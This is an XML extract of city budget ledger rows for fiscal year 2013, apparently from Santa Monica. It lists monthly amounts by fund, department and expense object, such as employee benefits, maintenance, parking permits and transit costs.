<row _id="2331"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>510.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>515.0</total></row>
<row _id="2332"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>405200.0</object><object_description>VIDEO PRODUCTION SERVICE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10000.0</total></row>
<row _id="2333"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522116.0</object><object_description>UTIL-LIGHT/POWER-CIVIC PARKING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>75335</april><may>0</may><june>0.0</june><total>75335.0</total></row>
<row _id="2334"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10721.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>107</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10828.0</total></row>
<row _id="2335"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20949.0</july><august>0</august><september>0.0</september><october>223.0</october><november>0</november><december>0</december><january>0.0</january><february>212</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21384.0</total></row>
<row _id="2336"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6896.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>69</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6965.0</total></row>
<row _id="2337"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>8994</april><may>0</may><june>0.0</june><total>8994.0</total></row>
<row _id="2338"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15989.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-992</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14997.0</total></row>
<row _id="2339"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>22567.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>226</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22793.0</total></row>
<row _id="2340"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>48083.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>481</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48564.0</total></row>
<row _id="2341"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>556050.0</object><object_description>LA MARATHON</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>165568.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>165568.0</total></row>
<row _id="2342"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>401320.0</object><object_description>PARKING STRUCTURE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-1300000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>1300000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2343"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>407260.0</object><object_description>STRUCTURE 9 PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-500000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>500000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2344"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>570280.0</object><object_description>SCE ENERGY PLANNING GRANTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>32761.36</march><april>0</april><may>0</may><june>0.0</june><total>32761.36</total></row>
<row _id="2345"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="2346"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1776.0</july><august>0</august><september>0.0</september><october>-104.0</october><november>0</november><december>0</december><january>0.0</january><february>17</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1689.0</total></row>
<row _id="2347"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2833.0</july><august>0</august><september>0.0</september><october>-50.0</october><november>0</november><december>0</december><january>0.0</january><february>28</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2811.0</total></row>
<row _id="2348"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="2349"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="2350"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>47300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>47300.0</total></row>
<row _id="2351"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="2352"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533250.0</object><object_description>RESTROOM MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="2353"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1968.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1968.0</total></row>
<row _id="2354"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3801.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>38</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3839.0</total></row>
<row _id="2355"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>55226.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55226.0</total></row>
<row _id="2356"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1253.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>13</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1266.0</total></row>
<row _id="2357"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18000.0</total></row>
<row _id="2358"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533280.0</object><object_description>AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>140000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>140000.0</total></row>
<row _id="2359"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10800.0</total></row>
<row _id="2360"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>662401.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6624</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>669025.0</total></row>
<row _id="2361"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>104752.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104752.0</total></row>
<row _id="2362"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6730.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6730.0</total></row>
<row _id="2363"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>91055.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>91055.0</total></row>
<row _id="2364"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-90000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="2365"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4400.0</total></row>
<row _id="2366"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28530.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28530.0</total></row>
<row _id="2367"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15300.0</total></row>
<row _id="2368"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="2369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>164275.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>164275.0</total></row>
<row _id="2370"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10334.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10334.0</total></row>
<row _id="2371"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1357.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1357.0</total></row>
<row _id="2372"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2755.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="2373"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6190.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6190.0</total></row>
<row _id="2374"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4250.0</total></row>
<row _id="2375"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>144.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="2376"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2860.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>29</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2889.0</total></row>
<row _id="2377"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5176.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5176.0</total></row>
